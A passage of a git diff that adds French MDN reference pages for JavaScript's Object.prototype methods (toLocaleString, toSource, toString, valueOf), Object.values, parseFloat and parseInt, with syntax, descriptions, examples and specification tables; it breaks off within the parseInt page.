  • {{jsxref("Reflect.setPrototypeOf()")}}
    • +
  • {{jsxref("Object.prototype.isPrototypeOf()")}}
    • +
  • {{jsxref("Object.getPrototypeOf()")}}
    • +
  • {{jsxref("Object/proto","Object.prototype.__proto__")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/tolocalestring/index.html b/files/fr/web/javascript/reference/global_objects/object/tolocalestring/index.html new file mode 100644 index 0000000000..1a8069abcf --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/tolocalestring/index.html @@ -0,0 +1,85 @@ +--- +title: Object.prototype.toLocaleString() +slug: Web/JavaScript/Reference/Objets_globaux/Object/toLocaleString +tags: + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/toLocaleString +--- +
{{JSRef}}
+ +

La méthode toLocaleString() renvoie une chaine de caractères représentant l'objet. Cette méthode est destinée à être surchargée par les objets dérivés à des fins spécifiques pour prendre en compte les locales.

+ +
{{EmbedInteractiveExample("pages/js/object-prototype-tolocalestring.html")}}
+ + + +

Syntaxe

+ +
obj.toLocaleString()
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente l'objet en tenant compte de la locale.

+ +

Description

+ +

La méthode toLocaleString renvoie le résultat de l'appel à la méthode {{jsxref("Object.toString", "toString()")}}.

+ +

Cette fonction est destinée à fournir aux objets une méthode générique toLocaleString, même si tous ne peuvent l'utiliser. Voir la liste ci-dessous.

+ +

Objets surchargeant la méthode toLocaleString

+ +
    +
  • {{jsxref("Array")}} : {{jsxref("Array.prototype.toLocaleString()")}}
    • +
  • {{jsxref("Number")}} : {{jsxref("Number.prototype.toLocaleString()")}}
    • +
  • {{jsxref("Date")}} : {{jsxref("Date.prototype.toLocaleString()")}}
    • +
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.2.4.3', 'Object.prototype.toLocaleString')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-object.prototype.tolocalestring', 'Object.prototype.toLocaleString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.prototype.tolocalestring', 'Object.prototype.toLocaleString')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Object.toLocaleString")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/tosource/index.html b/files/fr/web/javascript/reference/global_objects/object/tosource/index.html new file mode 100644 index 0000000000..b86197d864 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/tosource/index.html @@ -0,0 +1,132 @@ +--- +title: Object.prototype.toSource() +slug: Web/JavaScript/Reference/Objets_globaux/Object/toSource +tags: + - JavaScript + - Méthode + - Non-standard + - Object + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/toSource +--- +
{{JSRef}} {{non-standard_header}}
+ +

La méthode toSource() renvoie une chaîne de caractères représentant le code source d'un objet.

+ +

Syntaxe

+ +
Object.toSource();
+obj.toSource();
+
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente le code source de l'objet.

+ +

Description

+ +

La méthode toSource() renvoie les valeurs suivantes :

+ +
    +
  • Pour l'objet natif {{jsxref("Object")}}, toSource() renvoie la chaîne suivante, qui indique que le code source n'est pas disponible : + + 
    function Object() {
+    [native code]
+}
+
    +
    • +
  • Pour les instances de {{jsxref("Object")}}, toSource() renvoie une chaîne représentant le code source.
    • +
+ +

La méthode toSource() peut être utilisée à des fins de débogage pour analyser le contenu d'un objet.

+ +

Surcharger la méthode toSource()

+ +

La méthode toSource() peut être surchargée pour les différents objets. Par exemple :

+ +
function Personne(nom) {
+  this.nom = nom;
+}
+
+Personne.prototype.toSource = function Personne_toSource() {
+  return 'new Personne(' + uneval(this.nom) + ')';
+};
+
+console.log(new Personne('Jean').toSource()); // ---> new Personne("Jean")
+
+ +

Les méthodes toSource() natives

+ +

Chaque constructeur natif JavaScript possède sa propre méthode toSource(). Ces objets sont :

+ +
    +
  • {{jsxref("Array.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("Array")}}.
    • +
  • {{jsxref("Boolean.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("Boolean")}}.
    • +
  • {{jsxref("Date.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("Date")}}.
    • +
  • {{jsxref("Function.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("Function")}}.
    • +
  • {{jsxref("Number.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("Number")}}.
    • +
  • {{jsxref("RegExp.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("RegExp")}}.
    • +
  • {{jsxref("String.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("String")}}.
    • +
  • {{jsxref("Symbol.prototype.toSource()")}} {{non-standard_inline}} — pour {{jsxref("Symbol")}}.
    • +
  • Math.toSource() — Renvoie "Math".
    • +
+ +

Limites : les objets cycliques

+ +

Dans le cas d'objets qui font référence à eux-mêmes (une liste cyclique ou un arbre), toSource() ne représentera pas la référence (Firefox 24). Par exemple :

+ +
var obj1 = {};
+var obj2 = { a: obj1 };
+obj1.b = obj2;
+
+console.log('Cyclique : ' + (obj1.b.a == obj1));
+
+var objSource = obj1.toSource(); // renvoie "({b:{a:{}}})"
+
+obj1 = eval(objSource);
+
+console.log('Cyclique : ' + (obj1.b.a == obj1));
+
+ +

Si on utilise une structure cyclique et qu'on a besoin de toSource(), il faudra surcharger la méthode toSource() pour avoir le comportement souhaité.

+ +

Exemples

+ +

Utiliser toSource()

+ +

Dans le code qui suit, on définit un objet Chien et on crée monChien qui est une instance de type Chien :

+ +
function Chien(nom, race, couleur, sexe) {
+  this.nom = nom;
+  this.race = race;
+  this.couleur = couleur;
+  this.sexe = sexe;
+}
+
+monChien = new Chien('Gabby', 'Labrador', 'chocolat', 'femelle');
+
+ +

Si on appelle la méthode toSource() sur monChien, on obtiendra le littéral permettant de définir l'objet :

+ +
monChien.toSource();
+// returns ({nom:"Gabby", race:"Labrador", couleur:"chocolat", sexe:"femelle"})
+
+ +

Spécifications

+ +

Cette méthode ne fait partie d'aucun standard, implémentée avec JavaScript 1.3.

+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.toSource")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/tostring/index.html b/files/fr/web/javascript/reference/global_objects/object/tostring/index.html new file mode 100644 index 0000000000..4d25f9b107 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/tostring/index.html @@ -0,0 +1,138 @@ +--- +title: Object.prototype.toString() +slug: Web/JavaScript/Reference/Objets_globaux/Object/toString +tags: + - JavaScript + - Méthode + - Object + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/toString +--- +
{{JSRef}}
+ +

La méthode toString() renvoie une chaîne de caractères représentant l'objet.

+ +
{{EmbedInteractiveExample("pages/js/object-prototype-tostring.html")}}
+ + + +

Syntaxe

+ +
obj.toString()
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant l'objet.

+ +

Description

+ +

Chaque object possède une méthode toString() qui est appelée de façon automatique à chaque fois que l'objet doit être représenté sous forme de texte ou à chaque fois qu'on utilise un objet et que la valeur attendue est une chaîne de caractères. Par défaut, chaque objet qui descend d'Object hérite de la méthode toString(). Si cette méthode n'est pas surchargée, toString() renvoie "[object type]", où type est le type de l'objet. Par exemple :

+ +
var o = new Object();
+o.toString();           // renvoie [object Object]
+
+ +
+

Note : À partir de JavaScript 1.8.5 toString(), lorsqu'elle est appelée sur {{jsxref("null")}} renvoie [object Null], et lorsqu'elle est appelée sur {{jsxref("undefined")}} renvoie [object Undefined], ce qui est conforme à ECMAScript 5 et aux errata qui ont suivis. Voir l'exemple ci-après Utiliser toString pour détecter le type d'un objet.

+
+ +

Exemples

+ +

Surcharger la méthode toString() par défaut

+ +

Il est possible de surcharger la méthode toString(). La méthode toString() ne prend pas d'argument et doit renvoyer une chaîne de caractères. La méthode toString() peut renvoyer n'importe quelle valeur mais elle sera plus pertinente si elle renvoie des informations sur l'objet courant.

+ +

Le code qui suit définit un type d'objet Chien et instancie monChien, qui est de type Chien :

+ +
function Chien(nom, race, couleur, sexe) {
+  this.nom = nom;
+  this.race = race;
+  this.couleur = couleur;
+  this.sexe = sexe;
+}
+
+monChien = new Chien('Gabby', 'Labrador', 'chocolat', 'femelle');
+
+ +

Si on appelle la méthode toString() sur cet objet, on aura le résultat suivant (provenant de la méthode originale, héritée d'{{jsxref("Object")}}) :

+ +
monChien.toString(); // renvoie [object Object]
+
+ +

Dans le code qui suit, on surcharge la méthode toString() avec chienToString(). Cette méthode produit une chaîne qui contient l'ensemble des propriétés (race, couleur, sexe, nom) de l'objet :

+ +
Chien.prototype.toString = function chienToString() {
+  var ret = 'Le chien ' + this.nom + ' est un ' + this.race + ' ' + this.sexe + ' ' + this.couleur;
+  return ret;
+}
+
+ +

En utilisant la fonction ci-avant, à chaque fois que monChien sera utilisé là où on attend une chaîne, le moteur JavaScript appellera automatique la fonction chienToString()qui renverra la chaîne suivante :

+ +
Le chien Gabby est un labrador femelle chocolat.
+
+ +

Utiliser toString() pour détecter le type d'un objet

+ +

toString() peut être utilisée pour tous les objets afin d'obtenir son type. Pour utiliser Object.prototype.toString() avec n'importe quel objet, il sera nécessaire d'appeler {{jsxref("Function.prototype.call()")}} ou {{jsxref("Function.prototype.apply()")}} (pour éviter les versions surchargées).

+ +
var toString = Object.prototype.toString;
+
+toString.call(new Date);    // [object Date]
+toString.call(new String);  // [object String]
+toString.call(Math);        // [object Math]
+
+// Depuis JavaScript 1.8.5
+toString.call(undefined);   // [object Undefined]
+toString.call(null);        // [object Null]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.2.4.2', 'Object.prototype.toString')}}{{Spec2('ES5.1')}}Lorsque la méthode est appelée sur {{jsxref("null")}}, elle renvoie [object Null], et sur {{jsxref( "undefined")}} elle renvoie [object Undefined]
{{SpecName('ES6', '#sec-object.prototype.tostring', 'Object.prototype.toString')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.prototype.tostring', 'Object.prototype.toString')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.toString")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.toSource()")}}
    • +
  • {{jsxref("Object.prototype.valueOf()")}}
    • +
  • {{jsxref("Number.prototype.toString()")}}
    • +
  • {{jsxref("Symbol.toPrimitive")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/valueof/index.html b/files/fr/web/javascript/reference/global_objects/object/valueof/index.html new file mode 100644 index 0000000000..fea1e23cc0 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/valueof/index.html @@ -0,0 +1,120 @@ +--- +title: Object.prototype.valueOf() +slug: Web/JavaScript/Reference/Objets_globaux/Object/valueOf +tags: + - JavaScript + - Méthode + - Object + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/valueOf +--- +
{{JSRef}}
+ +

La méthode valueOf() renvoie la valeur primitive d'un objet donné.

+ +
{{EmbedInteractiveExample("pages/js/object-prototype-valueof.html")}}
+ + + +

Syntaxe

+ +
object.valueOf()
+ +

Valeur de retour

+ +

La valeur primitive de l'objet appelant.

+ +

Description

+ +

JavaScript appelle la méthode valueOf pour convertir un objet en une valeur primitive. Il est rarement nécessaire d'appeler soi-même la méthode valueOf ; JavaScript l'invoque automatiquement lorsqu'il rencontre un objet alors qu'il attend une valeur primitive.

+ +

Par défaut, la méthode valueOf est héritée par tout objet descendant d'{{jsxref("Object")}}. Tous les objets globaux natifs redéfinissent cette méthode pour renvoyer une valeur appropriée. Si un objet n'a pas de valeur primitive, valueOf renvoie l'objet lui-même, ce qui sera affiché comme :

+ +
[object Object]
+
+ +

valueOf peut être utilisée afin de convertir un objet prédéfini en une valeur primitive. Si un objet est défini dans un script, il est possible de surcharger Object.prototype.valueOf pour appeler une méthode personnalisée au lieu de la méthode par défaut d'Object.

+ +

Surcharger valueOf pour des objets personnalisés

+ +

Il est possible de créer une fonction à appeler à la place de la méthode valueOf par défaut. Celle-ci ne peut pas recevoir de paramètres.

+ +

Supposons qu'on ait un type d'objet monTypeDeNombre et qu'on désire lui ajouter une méthode valueOf spécifique, on pourra utiliser le code suivant :

+ +
monTypeDeNombre.prototype.valueOf = function(){ return valeurPrimitive;};
+
+ +

En utilisant ce code, chaque fois qu'un objet de type monTypeDeNombre sera utilisé dans un contexte où il doit être représenté comme une valeur primitive, JavaScript appellera automatiquement la fonction qui y est définie.

+ +

C'est habituellement JavaScript qui invoquera la méthode valueOf, mais il est aussi possible de l'appeler soi-même :

+ +
monNombre.valueOf()
+
+ +
+

Note : Les objets à utiliser dans un contexte textuel sont convertis avec la méthode {{jsxref("Object.toString", "toString()")}} ce qui est différent de la conversion d'objets {{jsxref("String")}} en valeurs primitives avec valueOf. Tous les objets peuvent être convertis en chaînes de caractères (la façon la plus générique étant "[object type]"). En revanche, la plupart des objets ne peut pas être convertie en nombre ou booléen par exemple.

+
+ +

Exemples

+ +

Utiliser valueOf

+ +
function MonTypeDeNombre(n) {
+    this.nombre = n;
+}
+
+MonTypeDeNombre.prototype.valueOf = function(){
+  return this.nombre;
+}
+
+var monObj = new MonTypeDeNombre(4);
+console.log(monObj + 3); // 7 car l'opération a implicitement utilisé valueOf
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.2.4.4', 'Object.prototype.valueOf')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-object.prototype.valueof', 'Object.prototype.valueOf')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.prototype.valueof', 'Object.prototype.valueOf')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Object.valueOf")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.toString()")}}
    • +
  • {{jsxref("parseInt", "parseInt()")}}
    • +
  • {{jsxref("Symbol.toPrimitive")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/values/index.html b/files/fr/web/javascript/reference/global_objects/object/values/index.html new file mode 100644 index 0000000000..f1630341fa --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/values/index.html @@ -0,0 +1,109 @@ +--- +title: Object.values() +slug: Web/JavaScript/Reference/Objets_globaux/Object/values +tags: + - ECMAScript2016 + - JavaScript + - Méthode + - Object + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/values +--- +
{{JSRef}}
+ +

La méthode Object.values() renvoie un tableau contenant les valeurs des propriétés propres énumérables d'un objet dont l'ordre est le même que celui obtenu avec une boucle {{jsxref("Instructions/for...in", "for...in")}} (la boucle for-in est différente car elle parcourt également les propriétés héritées).

+ +
{{EmbedInteractiveExample("pages/js/object-values.html")}}
+ + + +

Syntaxe

+ +
Object.values(obj)
+ +

Paramètres

+ +
+
obj
+
L'objet dont on souhaite connaître les valeurs des propriétés propres énumérables.
+
+ +

Valeur de retour

+ +

Un tableau dont les éléments sont les valeurs des propriétés énumérables de l'objet passé en argument.

+ +

Description

+ +

Object.values() renvoie un tableau dont les éléments sont les valeurs des propriétés énumérables directement rattachées à l'objet passé en argument. L'ordre du tableau est le même que celui obtenu lorsqu'on parcourt les propriétés manuellement.

+ +

Exemples

+ +
var obj = { toto: "truc", machin: 42 };
+console.log(Object.values(obj)); // ['truc', 42]
+
+// un objet semblable à un tableau
+var obj = { 0: 'a', 1: 'b', 2: 'c' };
+console.log(Object.values(obj)); // ['a', 'b', 'c']
+
+// un objet semblable à un tableau
+// dont les clés sont ordonnées aléatoirement
+// lorsque des clés numériques sont utilisées, les valeurs sont
+// renvoyées selon l'ordre numérique des clés
+var un_obj = { 100: 'a', 2: 'b', 7: 'c' };
+console.log(Object.values(un_obj)); // ['b', 'c', 'a']
+
+// getToto est une propriété qui
+// n'est pas énumérable
+var mon_obj = Object.create({}, { getToto: { value: function() { return this.toto; } } });
+mon_obj.toto = "truc";
+console.log(Object.values(mon_obj)); // ['truc']
+
+// un argument de type primitif sera
+// converti en un objet
+console.log(Object.values("toto")); // ['t', 'o', 't', 'o']
+
+ +

Prothèse d'émulation (polyfill)

+ +

Afin d'ajouter le support pour Object.values dans des environnements plus anciens qui ne supportent pas la méthode nativement, vous pouvez utiliser une prothèse comme celle proposée sur le dépôt tc39/proposal-object-values-entries ou sur le dépôt es-shims/Object.values.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-object.values', 'Object.values')}}{{Spec2('ESDraft')}} 
{{SpecName('ES8', '#sec-object.values', 'Object.values')}}{{Spec2('ES8')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.values")}}

+
+ +

Voir aussi

+ +
    +
  • Énumérabilité et rattachement des propriétés
    • +
  • {{jsxref("Object.keys()")}}
    • +
  • {{jsxref("Object.entries()")}}
    • +
  • {{jsxref("Object.prototype.propertyIsEnumerable()")}}
    • +
  • {{jsxref("Object.create()")}}
    • +
  • {{jsxref("Object.getOwnPropertyNames()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/parsefloat/index.html b/files/fr/web/javascript/reference/global_objects/parsefloat/index.html new file mode 100644 index 0000000000..aea43383fb --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/parsefloat/index.html @@ -0,0 +1,150 @@ +--- +title: parseFloat() +slug: Web/JavaScript/Reference/Objets_globaux/parseFloat +tags: + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/parseFloat +--- +
{{jsSidebar("Objects")}}
+ +

La fonction parseFloat() permet de transformer une chaîne de caractères en un nombre flottant après avoir analysée celle-ci (parsing).

+ +
{{EmbedInteractiveExample("pages/js/globalprops-parsefloat.html")}}
+ + + +

Syntaxe

+ +
parseFloat(string)
+ +

Paramètres

+ +
+
string
+
Une chaîne de caractères la valeur qu'on souhaite analyser et transformer en un nombre flottant.
+
+ +

Valeur de retour

+ +

Un nombre flottant obtenu à partir de l'analyse de la chaîne de caractères. Si le premier caractère ne permet pas d'obtenir un nombre, ce sera la valeur {{jsxref("NaN")}} qui sera renvoyée.

+ +

Description

+ +

parseFloat est une fonction non associée à un objet, disponible au plus haut niveau de l'environnement JavaScript.

+ +

parseFloat analyse l'argument fourni sous la forme d'une chaîne de caractères et renvoie un nombre flottant correspondant. L'analyse de la chaîne s'arrête dès qu'un caractère qui n'est pas +,-, un chiffre, un point ou un exposant. Ce caractère, ainsi que les suivants, seront ignorés. Les blancs en début et en fin de chaîne sont autorisés.

+ +
+

Note : Si on souhaite avoir un outil de conversion plus strict, on pourra utiliser {{jsxref("Number", "Number(valeur)")}} qui utilise une analyse plus stricte et qui fournit {{jsxref("NaN")}} pour les valeurs qui contiennent des caractères invalides, quelle que soit leur position.

+
+ +

Si le premier caractère de la chaîne ne peut pas être converti en un nombre, parseFloat() renverra NaN.

+ +

Pour des raisons arithmétiques, la valeur NaN n'est jamais un nombre, quelle que soit la base considérée. On peut utiliser la méthode {{jsxref("isNaN")}} afin de déterminer si le résultat obtenu par parseFloat() est NaN. Si NaN est passé comme valeur lors d'opérations arithmétiques, ces opérations renverront également NaN comme résultat.

+ +

parseFloat() peut également analyser et renvoyer la valeur {{jsxref("Infinity")}} qui représente l'infini numérique. Ici, on pourra utiliser la fonction {{jsxref("isFinite()")}} afin de déterminer si le résultat obtenu est un nombre fini (c'est-à-dire qui n'est ni Infinity, ni -Infinity, ni NaN).

+ +

parseFloat() peut également analyser un objet si celui-ci implémente la méthode toString() ou valueOf(). La valeur renvoyée par parseFloat() le résultat de parseFloat() appliqué à la valeur renvoyée par toString() ou valueOf() .

+ +

parseFloat() convertit une valeur {{jsxref("BigInt")}} en une valeur {{jsxref("Number")}} et perd ainsi en précision car toutes les valeurs BigInt ne sont pas représentables en Number.

+ +

Exemples

+ +

Utiliser parseFloat() pour renvoyer un nombre

+ +

Les instructions suivantes renvoient toutes la valeur 3.14 :

+ +
parseFloat("3.14");
+parseFloat("314e-2");
+parseFloat("0.0314E+2");
+parseFloat("3.14d'autres caractères non numériques");
+
+var titi = Object.create(null);
+titi.valueOf = function () { return "3.14"; };
+parseFloat(titi);​​​​​
+
+ +

Utiliser parseFloat() pour renvoyer NaN

+ +

Dans cet exemple, le résultat obtenu est {{jsxref("NaN")}} :

+ +
parseFloat("FF2");
+
+ +

parseFloat et BigInt

+ +
parseFloat(900719925474099267n);
+// 900719925474099300
+ +

Une fonction plus stricte

+ +

Si on souhaite éviter de convertir des chaînes qui contiennent des caractères non numériques, on pourra utiliser une expression rationnelle pour filtrer ces valeurs (et obtenir une fonction plus stricte que parseFloat()) :

+ +
var filterFloat = function (value) {
+    if (/^(\-|\+)?([0-9]+(\.[0-9]+)?|Infinity)$/
+      .test(value))
+      return Number(value);
+  return NaN;
+}
+
+console.log(filterFloat('421'));               // 421
+console.log(filterFloat('-421'));              // -421
+console.log(filterFloat('+421'));              // 421
+console.log(filterFloat('Infinity'));          // Infinity
+console.log(filterFloat('1.61803398875'));     // 1.61803398875
+console.log(filterFloat('421e+0'));            // NaN
+console.log(filterFloat('421hop'));            // NaN
+console.log(filterFloat('hop1.61803398875'));  // NaN
+
+
+ +

Attention : ce code n'est qu'un exemple et renverra NaN pour des valeurs pourtant valides comme 1. ou .5.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.1.2.3', 'parseFloat')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-parsefloat-string', 'parseFloat')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-parsefloat-string', 'parseFloat')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.parseFloat")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("parseInt", "parseInt()")}}
    • +
  • {{jsxref("Number.parseFloat()")}}
    • +
  • {{jsxref("Number.parseInt()")}}
    • +
  • {{jsxref("Number.toFixed()")}}
    • +
  • {{jsxref("isNaN", "isNaN()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/parseint/index.html b/files/fr/web/javascript/reference/global_objects/parseint/index.html new file mode 100644 index 0000000000..250e4edb78 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/parseint/index.html @@ -0,0 +1,204 @@ +--- +title: parseInt() +slug: Web/JavaScript/Reference/Objets_globaux/parseInt +tags: + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/parseInt +--- +
{{jsSidebar("Objects")}}
+ +

La fonction parseInt() analyse une chaîne de caractère fournie en argument et renvoie un entier exprimé dans une base donnée.

+ +
{{EmbedInteractiveExample("pages/js/globalprops-parseint.html")}}
+ + + +
+

Attention ! On veillera à bien utiliser le second paramètre de la fonction pour éviter toute ambiguité sur la base numérique utilisée.

+
+ +

Syntaxe

+ +
parseInt(string, base);
+ +

Paramètres

+ +
+
string
+
La valeur qu'on souhaite analyser et convertir. Si l'argument string n'est pas une chaîne de caractères, elle sera convertie en une chaîne (grâce à l'opération abstraite ToString) . Les blancs contenus au début de l'argument sont ignorés.
+
base
+
+

Un entier compris entre 2 et 36 qui représente la base utilisée pour la valeur représentée dans la chaîne. La base communément utilisée est la base décimale et on utilisera donc 10 dans ce cas pour ce paramètre.

+ +

Attention ! La base par défaut n'est pas 10. Ce paramètre doit toujours être utilisé, en effet s'il n'est pas spécifié, le comportement de la fonction n'est pas garanti et peut varier d'une plate-forme à une autre.

+ +

Voir cependant la description ci-après qui explicite le comportement par défaut attendu.

+
+
+ +

Valeur de retour

+ +

Un entier obtenu à partir de l'analyse de la chaîne de caractères. Si le premier caractère ne permet d'obtenir un nombre d'après la base fournie, ce sera {{jsxref("NaN")}} qui sera renvoyé.

+ +

Description

+ +

La fonction parseInt() convertit le premier argument en une chaîne, l'analyse et renvoie un entier ou NaN. Si la valeur renvoyée n'est pas NaN, ce sera l'entier représentant le nombre contenu dans la chaîne dans la base donnée. Une base 10 est utilisée pour la base décimale, 8 pour la base octale, 16 pour la base hexadécimale. Pour les bases supérieures à 10, les lettres de l'alphabet latin seront utilisées pour représenter les chiffres supérieurs à 9. Par exemple, pour la base hexadécimale, on utilisera les lettres A à F.

+ +

Si, lors de l'analyse de la chaîne, parseInt() rencontre un caractère qui n'est pas un chiffre dans la base donnée, ce caractère, ainsi que les suivants seront ignorés. parseInt() tronque les nombres fournies en valeurs entières (attention donc lorsque les chaînes utilisent une notation scientifique : "4e2" donnera la valeur 4 en base 10 et pas 400). Les espaces en début et en fin de chaîne sont autorisés.

+ +

Si la base fournie vaut {{jsxref("undefined")}} ou 0 (ou si elle n'est pas utilisée comme paramètre), le moteur JavaScript procèdera comme suit :

+ +
    +
  • Si l'argument string commence avec "0x" ou "0X", la base considérée sera la base 16 (hexadécimale) et le reste de la chaîne sera analysé et converti.
    • +
  • Si l'argument string commence avec "0", la base considérée sera la base 8 (octale) ou la base 10 (décimale). La base exacte qui sera choisie dépendra de l'implémentation. ECMAScript 5 définit que la base 10 doit être utilisée. Cependant, cela n'est pas supporté par tous les navigateurs. C'est pour cette raison qu'il faut toujours spécifier une base lorsqu'on utilise parseInt().
    • +
  • Si l'argument string commence avec une autre valeur, la base considérée sera la base 10.
    • +
+ +

Si le premier caractère de la chaîne de caractères ne peut pas être converti, parseInt() renverra NaN.

+ +

Pour des raisons arithmétiques, la valeur {{jsxref("NaN")}} n'est un nombre pour aucune base. La fonction {{jsxref("Objets_globaux/isNaN", "isNaN()")}} peut être utilisée pour déterminer si le résultat obtenu par parseInt() vaut NaN. Si NaN est utilisé dans une opération arithmétique, le résultat de cette opération sera aussi NaN (on dit que NaN est une valeur « toxique »).

+ +

Pour convertir un nombre en une chaîne de caractères dans une base donnée, on utilisera monEntier.toString(base).

+ +

parseInt convertira les valeurs {{jsxref("BigInt")}} en {{jsxref("Number")}} et de la précision sera perdue lors de ce traitement.

+ +

Exemples

+ +

Les exemples suivants renvoient tous 15 :

+ +
parseInt("0xF", 16);
+parseInt("F", 16);
+parseInt("17", 8);
+parseInt(021, 8);
+parseInt("015", 10); // attention parseInt(015, 10); renvoie 13
+parseInt(15.99, 10);
+parseInt("15,123", 10);
+parseInt("FXX123", 16);
+parseInt("1111", 2);
+parseInt("15*3", 10);
+parseInt("15e2", 10);
+parseInt("15px", 10);
+parseInt("12", 13);
+
+ +

Les exemples suivants renvoient NaN :

+ +
parseInt("Coucou", 8); // Ce sont des lettres et pas des chiffres
+parseInt("546", 2);    // Ces chiffres ne sont pas valides pour une représentation
+                       // binaire
+
+ +

Les exemples suivants renvoient tous -15 :

+ +
parseInt("-F", 16);
+parseInt("-0F", 16);
+parseInt("-0XF", 16);
+parseInt(-15.1, 10)
+parseInt("-17", 8);
+parseInt("-15", 10);
+parseInt("-1111", 2);
+parseInt("-15e1", 10);
+parseInt("-12", 13);
+
+ +

Les exemples suivants renvoient tous 4 :

+ +
parseInt("4e2", 10);
+parseInt("4.7", 10);
+ +

L'exemple suivant renvoie  224 :

+ +
parseInt("0e0", 16);
+
+ +

On perdra en précision si on manipule un grand entier ({{jsxref("BigInt")}}) :

+ +
parseInt(900719925474099267n); // 900719925474099300
+ +

Interpréter une base octale quand aucun paramètre de base n'est fourni

+ +

Bien que cela soit fortement déconseillé par ECMAScript 3 et que cela soit interdit par ECMAScript 5, de nombreuses implémentations interprètent une chaîne numérique qui commence par 0 comme une valeur exprimée dans la base octale. Les instructions qui suivent peuvent avoir un résultat octal ou décimal selon les implémentations. Pour cette raison, il faut toujours définir une base lorsqu'on utilise cette fonction.

+ +
parseInt("0e0"); // 0
+parseInt("08");  // 0, '8' n'est pas un chiffre octal.
+
+ +

ECMAScript 5 supprime l'interprétation octale

+ +

La spécification ECMAScript 5 indique, au sujet de la fonction parseInt(), que les valeurs commençant par 0 ne doivent plus être considérées comme des valeurs octales. ECMAScript 5 indique :

+ +

La fonction parseInt produit une valeur entière définie par le contenu de la chaîne selon la base fournie. Les blancs en début de chaîne sont ignorés. Si la base spécifiée est 0, la base décimale sera prise en compte sauf si le nombre représenté commence par la paire de caractères 0x ou 0X auquel cas la base 16 sera prise en compte.

+ +

Sur cet aspect, ECMAScript 3 diffère car il permet l'interprétation octale (bien qu'il la déconseille).

+ +

De nombreuses implémentations n'ont pas adopté ce comportement en 2013. Pour cette raison (les anciens environnements et navigateurs doivent être supportés), il faut toujours définir le paramètre pour la base.

+ +

Une fonction plus stricte

+ +

Il est parfois utile d'avoir une fonction de conversion plus stricte. Pour cela, on peut utiliser une expression rationnelle :

+ +
filterInt = function (value) {
+  if (/^(-|\+)?(\d+|Infinity)$/.test(value))
+    return Number(value);
+  return NaN;
+}
+
